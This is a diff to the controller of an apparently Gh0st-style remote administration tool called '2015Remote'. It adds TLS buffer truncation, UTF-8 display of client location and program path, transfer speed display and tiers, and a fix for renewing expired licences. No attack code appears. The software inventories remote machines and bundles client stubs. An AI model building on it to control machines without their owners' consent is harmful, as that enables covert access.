<ClInclude Include="CActivityDialog.h" />
|
||||||
<ClInclude Include="LogSearchBar.h" />
|
<ClInclude Include="LogSearchBar.h" />
|
||||||
@@ -232,6 +238,7 @@
|
|||||||
<None Include="res\web\xterm.min.js" />
|
<None Include="res\web\xterm.min.js" />
|
||||||
<None Include="res\web\xterm.css" />
|
<None Include="res\web\xterm.css" />
|
||||||
<None Include="res\web\fit.min.js" />
|
<None Include="res\web\fit.min.js" />
|
||||||
|
<None Include="res\web\opus-decoder.min.js" />
|
||||||
<None Include="..\web\index.html" />
|
<None Include="..\web\index.html" />
|
||||||
<None Include="stub2\stub32.bin" />
|
<None Include="stub2\stub32.bin" />
|
||||||
<None Include="stub2\stub64.bin" />
|
<None Include="stub2\stub64.bin" />
|
||||||
@@ -264,6 +271,7 @@
|
|||||||
<Image Include="res\screen.ico" />
|
<Image Include="res\screen.ico" />
|
||||||
<Image Include="res\machine.ico" />
|
<Image Include="res\machine.ico" />
|
||||||
<Image Include="res\system.ico" />
|
<Image Include="res\system.ico" />
|
||||||
|
<Image Include="res\connections.ico" />
|
||||||
<Image Include="res\chat.ico" />
|
<Image Include="res\chat.ico" />
|
||||||
<Image Include="res\decrypt.ico" />
|
<Image Include="res\decrypt.ico" />
|
||||||
<Image Include="res\file\FILE.ico" />
|
<Image Include="res\file\FILE.ico" />
|
||||||
@@ -348,5 +356,8 @@
|
|||||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||||
|
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||||
|
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||||
|
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -337,3 +337,20 @@ VOID CBuffer::CommitWrite(ULONG writtenSize)
|
|||||||
m_Ptr += writtenSize;
|
m_Ptr += writtenSize;
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。有效长度指「当前读取
|
||||||
|
// 位置之后的字节数」,与 GetBufferLength 一致;请求值超出现有有效长度时收敛到现有长度。
|
||||||
|
VOID CBuffer::TruncateBuffer(ULONG effectiveLen)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
if (m_Base == NULL) {
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
ULONG totalDataLen = (ULONG)(m_Ptr - m_Base);
|
||||||
|
ULONG cur = (totalDataLen > m_ulReadOffset) ? (totalDataLen - m_ulReadOffset) : 0;
|
||||||
|
if (effectiveLen > cur)
|
||||||
|
effectiveLen = cur;
|
||||||
|
m_Ptr = m_Base + m_ulReadOffset + effectiveLen;
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
@@ -130,6 +130,11 @@ public:
|
|||||||
// 确认写入完成,更新内部指针
|
// 确认写入完成,更新内部指针
|
||||||
VOID CommitWrite(ULONG writtenSize);
|
VOID CommitWrite(ULONG writtenSize);
|
||||||
|
|
||||||
|
// 截断缓冲区到指定有效长度(仅回退写指针,不移动/释放底层内存)。用于「尾部明文替换为
|
||||||
|
// 密文」:TLS 下 OutCompressedBuffer 追加明文后需换回密文,用此接口避免 ClearBuffer 的
|
||||||
|
// DeAllocateBuffer 释放正在被异步 WSASend 引用的底层内存。
|
||||||
|
VOID TruncateBuffer(ULONG effectiveLen);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
PBYTE m_Ptr;
|
PBYTE m_Ptr;
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#include "afxdialogex.h"
|
#include "afxdialogex.h"
|
||||||
#include "CClientListDlg.h"
|
#include "CClientListDlg.h"
|
||||||
#include "2015Remote.h"
|
#include "2015Remote.h"
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
|
||||||
// CClientListDlg 对话框
|
// CClientListDlg 对话框
|
||||||
@@ -93,6 +94,27 @@ static CString GetFieldValue(const ClientValue& val, GroupField field)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 程序路径与地理位置均以 UTF-8 存储(见 AddList / client 的 RES_FILE_PATH、RES_CLIENT_LOC),
|
||||||
|
// 这里用 LVM_SETITEMTEXTW 直接写宽字符串,绕开 ANSI→CP_ACP 回转,
|
||||||
|
// 即使服务端运行在非中文 ACP(如德语)上,中文/带变音符的文本也能正常显示(与窗口/进程管理同法)。
|
||||||
|
static void SetUtf8ItemText(CListCtrl& list, int iItem, int iSubItem, const char* sz)
|
||||||
|
{
|
||||||
|
std::wstring w;
|
||||||
|
if (sz && sz[0]) {
|
||||||
|
int wlen = MultiByteToWideChar(CP_UTF8, 0, sz, -1, NULL, 0);
|
||||||
|
if (wlen > 1) {
|
||||||
|
w.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(CP_UTF8, 0, sz, -1, &w[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LVITEMW lv = {};
|
||||||
|
lv.mask = LVIF_TEXT;
|
||||||
|
lv.iItem = iItem;
|
||||||
|
lv.iSubItem = iSubItem;
|
||||||
|
lv.pszText = w.empty() ? const_cast<LPWSTR>(L"") : &w[0];
|
||||||
|
::SendMessageW(list.GetSafeHwnd(), LVM_SETITEMTEXTW, (WPARAM)iItem, (LPARAM)&lv);
|
||||||
|
}
|
||||||
|
|
||||||
// 比较两个客户端的指定列,返回 <0, 0, >0
|
// 比较两个客户端的指定列,返回 <0, 0, >0
|
||||||
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
|
static int CompareClientByColumn(const std::pair<ClientKey, ClientValue>& a,
|
||||||
const std::pair<ClientKey, ClientValue>& b,
|
const std::pair<ClientKey, ClientValue>& b,
|
||||||
@@ -294,12 +316,12 @@ void CClientListDlg::DisplayClients()
|
|||||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
|
||||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
|
||||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||||
@@ -346,12 +368,12 @@ void CClientListDlg::DisplayClients()
|
|||||||
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
m_ClientList.SetItemText(nItem, COL_ID, strID);
|
||||||
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
m_ClientList.SetItemText(nItem, COL_NOTE, val.Note);
|
||||||
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
m_ClientList.SetItemText(nItem, COL_COMPUTER_NAME, CString(val.ComputerName));
|
||||||
m_ClientList.SetItemText(nItem, COL_LOCATION, val.Location);
|
SetUtf8ItemText(m_ClientList, nItem, COL_LOCATION, val.Location);
|
||||||
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
m_ClientList.SetItemText(nItem, COL_IP, val.IP);
|
||||||
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
m_ClientList.SetItemText(nItem, COL_OS, val.OsName);
|
||||||
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
m_ClientList.SetItemText(nItem, COL_INSTALL_TIME, val.InstallTime);
|
||||||
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
m_ClientList.SetItemText(nItem, COL_LAST_LOGIN, val.LastLoginTime);
|
||||||
m_ClientList.SetItemText(nItem, COL_PROGRAM_PATH, CString(val.ProgramPath));
|
SetUtf8ItemText(m_ClientList, nItem, COL_PROGRAM_PATH, val.ProgramPath);
|
||||||
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
m_ClientList.SetItemText(nItem, COL_LEVEL, strLevel);
|
||||||
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
m_ClientList.SetItemText(nItem, COL_AUTH, strAuth);
|
||||||
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
m_ClientList.SetItemData(nItem, (DWORD_PTR)key);
|
||||||
|
|||||||
@@ -151,6 +151,54 @@ void CDlgFileSend::UpdateProgress(CString file, const FileProgressInfo& info)
|
|||||||
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
|
PostMessageA(WM_UPDATEFILEPROGRESS, (WPARAM)new CString(file), (LPARAM)new FileProgressInfo(info));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 将字节/秒格式化为人类可读的速度串(如 "5.3M/s"、"320K/s"、"800B/s")
|
||||||
|
static CStringW FormatSpeed(double bps)
|
||||||
|
{
|
||||||
|
CStringW s;
|
||||||
|
if (bps >= 1024.0 * 1024.0)
|
||||||
|
s.Format(L"%.1fM/s", bps / (1024.0 * 1024.0));
|
||||||
|
else if (bps >= 1024.0)
|
||||||
|
s.Format(L"%.0fK/s", bps / 1024.0);
|
||||||
|
else
|
||||||
|
s.Format(L"%.0fB/s", bps);
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 累计字节并周期性刷新标题中的速度(如 "发送文件 - 5.3M/s")
|
||||||
|
void CDlgFileSend::UpdateTitleWithSpeed(uint64_t dataLength)
|
||||||
|
{
|
||||||
|
m_ullTotalBytes += dataLength;
|
||||||
|
ULONGLONG now = GetTickCount64();
|
||||||
|
|
||||||
|
// 首帧:用 Unicode API 捕获当前标题作为基础部分(可能已被 V2/C2C 覆盖为 "接收文件 (V2)" 等),
|
||||||
|
// 并建立采样基准;此时尚无速度可显示。
|
||||||
|
if (!m_bBaseTitleCaptured) {
|
||||||
|
WCHAR wBase[128] = { 0 };
|
||||||
|
::GetWindowTextW(m_hWnd, wBase, 128);
|
||||||
|
m_strBaseTitle = wBase;
|
||||||
|
m_bBaseTitleCaptured = true;
|
||||||
|
m_ullLastTick = now;
|
||||||
|
m_ullLastBytes = m_ullTotalBytes;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
ULONGLONG dt = now - m_ullLastTick;
|
||||||
|
if (dt < 200) return; // 采样间隔未到,仅累积字节
|
||||||
|
|
||||||
|
uint64_t delta = m_ullTotalBytes - m_ullLastBytes;
|
||||||
|
double speed = dt ? (double)delta * 1000.0 / (double)dt : 0.0;
|
||||||
|
m_dSpeedBps = (m_dSpeedBps == 0.0) ? speed : m_dSpeedBps * 0.6 + speed * 0.4; // 轻度平滑
|
||||||
|
|
||||||
|
m_ullLastTick = now;
|
||||||
|
m_ullLastBytes = m_ullTotalBytes;
|
||||||
|
|
||||||
|
// 基础标题(Unicode)+ ASCII 速度后缀,全程 Unicode API,避免非中文系统上 ANSI 消息按系统 ACP 解码乱码
|
||||||
|
CStringW title = m_strBaseTitle;
|
||||||
|
title += L" - ";
|
||||||
|
title += FormatSpeed(m_dSpeedBps);
|
||||||
|
::SetWindowTextW(m_hWnd, title);
|
||||||
|
}
|
||||||
|
|
||||||
void CDlgFileSend::FinishFileSend(BOOL succeed)
|
void CDlgFileSend::FinishFileSend(BOOL succeed)
|
||||||
{
|
{
|
||||||
if (!GetSafeHwnd()) return;
|
if (!GetSafeHwnd()) return;
|
||||||
@@ -170,6 +218,7 @@ LRESULT CDlgFileSend::OnUpdateFileProgress(WPARAM wParam, LPARAM lParam)
|
|||||||
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
|
SetDlgItemText(IDC_STATIC_CURRENTINDEX, status);
|
||||||
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
|
SetDlgItemText(IDC_STATIC_CURRENT_FILE, *pFile);
|
||||||
m_Progress.SetPos((int)percent);
|
m_Progress.SetPos((int)percent);
|
||||||
|
UpdateTitleWithSpeed(pInfo->dataLength);
|
||||||
|
|
||||||
// 只在第一次显示时置顶,后续更新不抢焦点
|
// 只在第一次显示时置顶,后续更新不抢焦点
|
||||||
if (!IsWindowVisible()) {
|
if (!IsWindowVisible()) {
|
||||||
|
|||||||
@@ -51,6 +51,14 @@ public:
|
|||||||
BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包
|
BOOL m_bTargetOffline = FALSE; // C2C目标已离线,已发送取消包
|
||||||
enum { IDD = IDD_DIALOG_FILESEND };
|
enum { IDD = IDD_DIALOG_FILESEND };
|
||||||
|
|
||||||
|
// 传输速度统计(用于标题实时显示速度,如 "发送文件 - 5.3M/s")
|
||||||
|
CStringW m_strBaseTitle; // 标题基础部分("发送文件"/"接收文件 (V2)" 等,Unicode),首帧进度时捕获
|
||||||
|
bool m_bBaseTitleCaptured = false;
|
||||||
|
uint64_t m_ullTotalBytes = 0; // 累计传输字节
|
||||||
|
uint64_t m_ullLastBytes = 0;
|
||||||
|
ULONGLONG m_ullLastTick = 0; // 上次速度采样时刻 (ms)
|
||||||
|
double m_dSpeedBps = 0.0; // 平滑后的速度 (B/s)
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
|
||||||
@@ -59,6 +67,8 @@ protected:
|
|||||||
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnUpdateFileProgress(WPARAM wParam, LPARAM lParam);
|
||||||
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
|
afx_msg LRESULT OnFinishFileSend(WPARAM wParam, LPARAM lParam);
|
||||||
|
|
||||||
|
void UpdateTitleWithSpeed(uint64_t dataLength); // 累计字节并周期性刷新标题速度
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CProgressCtrl m_Progress;
|
CProgressCtrl m_Progress;
|
||||||
virtual BOOL OnInitDialog();
|
virtual BOOL OnInitDialog();
|
||||||
|
|||||||
@@ -0,0 +1,133 @@
|
|||||||
|
// CFileSpeedDlg.h
|
||||||
|
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
|
||||||
|
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
|
||||||
|
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "LangManager.h"
|
||||||
|
#include <afxcmn.h>
|
||||||
|
|
||||||
|
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
|
||||||
|
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
|
||||||
|
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
|
||||||
|
|
||||||
|
static const FileSpeedTier kFileSpeedTiers[] = {
|
||||||
|
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
|
||||||
|
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
|
||||||
|
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
|
||||||
|
{ 128, 50, _T("快") }, // ≈2.5 MB/s
|
||||||
|
{ 256, 50, _T("更快") }, // ≈5 MB/s
|
||||||
|
{ 512, 50, _T("很快") }, // ≈10 MB/s
|
||||||
|
{ 1024, 0, _T("不限速") }, // 网络上限
|
||||||
|
};
|
||||||
|
#define FILE_SPEED_TIER_COUNT 7
|
||||||
|
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
|
||||||
|
|
||||||
|
class CFileSpeedDlg : public CDialog
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
enum { IDD = IDD_FILE_SPEED };
|
||||||
|
|
||||||
|
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
|
||||||
|
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
int GetChunkKb() const { return m_chunkKb; }
|
||||||
|
int GetDurMs() const { return m_durMs; }
|
||||||
|
|
||||||
|
protected:
|
||||||
|
int m_chunkKb;
|
||||||
|
int m_durMs;
|
||||||
|
|
||||||
|
static int TierIndexFor(int chunkKb, int durMs)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
|
||||||
|
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
|
||||||
|
return i;
|
||||||
|
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
|
||||||
|
}
|
||||||
|
|
||||||
|
static void FormatSpeed(int idx, CString& out)
|
||||||
|
{
|
||||||
|
const FileSpeedTier& t = kFileSpeedTiers[idx];
|
||||||
|
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
|
||||||
|
if (t.durMs <= 0) {
|
||||||
|
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
|
||||||
|
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
|
||||||
|
}
|
||||||
|
|
||||||
|
int GetSliderPos()
|
||||||
|
{
|
||||||
|
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
|
||||||
|
if (pos < 0) pos = 0;
|
||||||
|
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
|
||||||
|
return pos;
|
||||||
|
}
|
||||||
|
|
||||||
|
void UpdateLabel()
|
||||||
|
{
|
||||||
|
CString s;
|
||||||
|
FormatSpeed(GetSliderPos(), s);
|
||||||
|
SetDlgItemText(IDC_FSPEED_LABEL, s);
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnInitDialog() override
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
|
||||||
|
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
|
||||||
|
// 均经 _TR 支持多语言翻译。
|
||||||
|
SetWindowText(_TR("文件传输速度"));
|
||||||
|
SetDlgItemText(IDC_FSPEED_HINT, _TR("拖动滑块设置文件传输速度:"));
|
||||||
|
SetDlgItemText(IDC_FSPEED_LABEL_SLOWEST, _TR("最慢"));
|
||||||
|
SetDlgItemText(IDC_FSPEED_LABEL_DEFAULT, _TR("默认"));
|
||||||
|
SetDlgItemText(IDC_FSPEED_LABEL_UNLIMITED, _TR("不限速"));
|
||||||
|
SetDlgItemText(IDC_FSPEED_RESET, _TR("恢复默认"));
|
||||||
|
SetDlgItemText(IDOK, _TR("确定"));
|
||||||
|
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||||
|
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
|
||||||
|
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
|
||||||
|
|
||||||
|
UpdateLabel();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual void OnOK() override
|
||||||
|
{
|
||||||
|
int idx = GetSliderPos();
|
||||||
|
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
|
||||||
|
m_durMs = kFileSpeedTiers[idx].durMs;
|
||||||
|
CDialog::OnOK();
|
||||||
|
}
|
||||||
|
|
||||||
|
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||||
|
{
|
||||||
|
(void)nSBCode; (void)nPos; (void)pScrollBar;
|
||||||
|
UpdateLabel(); // 拖动过程中实时刷新预估速度
|
||||||
|
}
|
||||||
|
|
||||||
|
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||||
|
{
|
||||||
|
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||||
|
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
|
||||||
|
UpdateLabel();
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
return CDialog::OnCommand(wParam, lParam);
|
||||||
|
}
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()
|
||||||
|
};
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
|
||||||
|
ON_WM_HSCROLL()
|
||||||
|
END_MESSAGE_MAP()
|
||||||
@@ -563,6 +563,17 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
if (defaultHostNum <= 0) defaultHostNum = 100;
|
if (defaultHostNum <= 0) defaultHostNum = 100;
|
||||||
int defaultQuota = lic.PendingQuota > 0 ? lic.PendingQuota : 1;
|
int defaultQuota = lic.PendingQuota > 0 ? lic.PendingQuota : 1;
|
||||||
|
|
||||||
|
// 判断当前授权是否已过期。续期从“今天”起算:客户端收到 days 后按
|
||||||
|
// getDateStr(0) + days 签发新授权(见 CMD_AUTHORIZATION 处理)。
|
||||||
|
// 若从已过去的原到期日加天数,预设日期会落在过去,下发时被
|
||||||
|
// SendPendingRenewal 钳制成 1 天,实际到期日与预设/提示不一致。
|
||||||
|
CTime now = CTime::GetCurrentTime();
|
||||||
|
CTime today(now.GetYear(), now.GetMonth(), now.GetDay(), 0, 0, 0);
|
||||||
|
CString strToday;
|
||||||
|
strToday.Format(_T("%04d%02d%02d"), now.GetYear(), now.GetMonth(), now.GetDay());
|
||||||
|
bool expired = currentExpireDate.length() == 8 &&
|
||||||
|
currentExpireDate < std::string(CT2A(strToday));
|
||||||
|
|
||||||
// 格式化当前过期日期显示
|
// 格式化当前过期日期显示
|
||||||
CString strCurrentExpire;
|
CString strCurrentExpire;
|
||||||
if (currentExpireDate.length() == 8) {
|
if (currentExpireDate.length() == 8) {
|
||||||
@@ -570,6 +581,9 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
currentExpireDate.substr(0, 4).c_str(),
|
currentExpireDate.substr(0, 4).c_str(),
|
||||||
currentExpireDate.substr(4, 2).c_str(),
|
currentExpireDate.substr(4, 2).c_str(),
|
||||||
currentExpireDate.substr(6, 2).c_str());
|
currentExpireDate.substr(6, 2).c_str());
|
||||||
|
if (expired) {
|
||||||
|
strCurrentExpire += _L(" (已过期,续期从今天起算)");
|
||||||
|
}
|
||||||
} else {
|
} else {
|
||||||
strCurrentExpire = _TR("当前到期: 未知");
|
strCurrentExpire = _TR("当前到期: 未知");
|
||||||
}
|
}
|
||||||
@@ -595,15 +609,13 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
// 计算新的过期日期 (从原到期日期开始加天数)
|
// 计算新的过期日期:未过期从原到期日加天数;已过期从今天起算。
|
||||||
CTime baseTime;
|
CTime baseTime = today;
|
||||||
if (currentExpireDate.length() == 8) {
|
if (!expired && currentExpireDate.length() == 8) {
|
||||||
int year = atoi(currentExpireDate.substr(0, 4).c_str());
|
int year = atoi(currentExpireDate.substr(0, 4).c_str());
|
||||||
int month = atoi(currentExpireDate.substr(4, 2).c_str());
|
int month = atoi(currentExpireDate.substr(4, 2).c_str());
|
||||||
int day = atoi(currentExpireDate.substr(6, 2).c_str());
|
int day = atoi(currentExpireDate.substr(6, 2).c_str());
|
||||||
baseTime = CTime(year, month, day, 0, 0, 0);
|
baseTime = CTime(year, month, day, 0, 0, 0);
|
||||||
} else {
|
|
||||||
baseTime = CTime::GetCurrentTime(); // 无法解析时用当前日期
|
|
||||||
}
|
}
|
||||||
CTimeSpan span(days, 0, 0, 0);
|
CTimeSpan span(days, 0, 0, 0);
|
||||||
CTime newExpireTime = baseTime + span;
|
CTime newExpireTime = baseTime + span;
|
||||||
@@ -635,6 +647,9 @@ void CLicenseDlg::OnLicenseRenewal()
|
|||||||
CString msg;
|
CString msg;
|
||||||
msg.FormatL("已预设续期至: %s\n并发连接数: %d\n配额: %d (支持%d台机器续期)\n客户端上线时将自动下发新授权",
|
msg.FormatL("已预设续期至: %s\n并发连接数: %d\n配额: %d (支持%d台机器续期)\n客户端上线时将自动下发新授权",
|
||||||
strPending, hostNum, quota, quota);
|
strPending, hostNum, quota, quota);
|
||||||
|
if (expired) {
|
||||||
|
msg += _L("\n(原授权已过期,续期从今天起算)");
|
||||||
|
}
|
||||||
MessageBox(msg, _TR("预设成功"), MB_ICONINFORMATION);
|
MessageBox(msg, _TR("预设成功"), MB_ICONINFORMATION);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -160,6 +160,9 @@ void CListCtrlEx::SetColumnVisible(int nCol, BOOL bVisible)
|
|||||||
if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见
|
if (m_Columns[nCol].CanHide || bVisible) { // 不允许隐藏的列只能设为可见
|
||||||
m_Columns[nCol].Visible = bVisible;
|
m_Columns[nCol].Visible = bVisible;
|
||||||
AdjustColumnWidths();
|
AdjustColumnWidths();
|
||||||
|
// 列数变化后完整重绘(含背景擦除),否则最后一列右侧会残留旧列残影。
|
||||||
|
ScopedEraseBkgnd scope(*this);
|
||||||
|
RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -230,6 +233,11 @@ void CListCtrlEx::ToggleColumnVisibility(int nColumn)
|
|||||||
|
|
||||||
// 重新调整列宽
|
// 重新调整列宽
|
||||||
AdjustColumnWidths();
|
AdjustColumnWidths();
|
||||||
|
|
||||||
|
// 列数变化后完整重绘(含背景擦除),否则最后一列(TLS 等)右侧会残留旧列残影。
|
||||||
|
// 与 OnSize 中 needRefresh 分支相同的处理:临时放行背景擦除 + 全量 RedrawWindow。
|
||||||
|
ScopedEraseBkgnd scope(*this);
|
||||||
|
RedrawWindow(NULL, NULL, RDW_ERASE | RDW_INVALIDATE | RDW_ALLCHILDREN | RDW_UPDATENOW);
|
||||||
}
|
}
|
||||||
|
|
||||||
void CListCtrlEx::LoadColumnVisibility()
|
void CListCtrlEx::LoadColumnVisibility()
|
||||||
|
|||||||
@@ -250,7 +250,7 @@ bool UpdateLicenseAuthorization(const std::string& deviceID, const std::string&
|
|||||||
}
|
}
|
||||||
|
|
||||||
// IP 列表管理常量
|
// IP 列表管理常量
|
||||||
#define MAX_IP_HISTORY 500 // 最多保留 几 个不同的 IP
|
#define MAX_IP_HISTORY 1000 // 最多保留 几 个不同的 IP
|
||||||
|
|
||||||
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
|
// 解析 IP 列表字符串为 vector<pair<IP, 时间戳>>
|
||||||
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
|
// 格式: "192.168.1.1|260218, 10.0.0.1|260215" (yyMMdd)
|
||||||
|
|||||||
@@ -89,11 +89,29 @@ protected:
|
|||||||
{
|
{
|
||||||
CDialog::OnInitDialog();
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// 非中文系统上 MBCS 对话框模板的中文会被系统 ACP 转成 "?",TranslateDialog
|
||||||
|
// 拿到的是已乱码文本无法还原,故在此显式设置(参照 NotifySettingsDlg)。
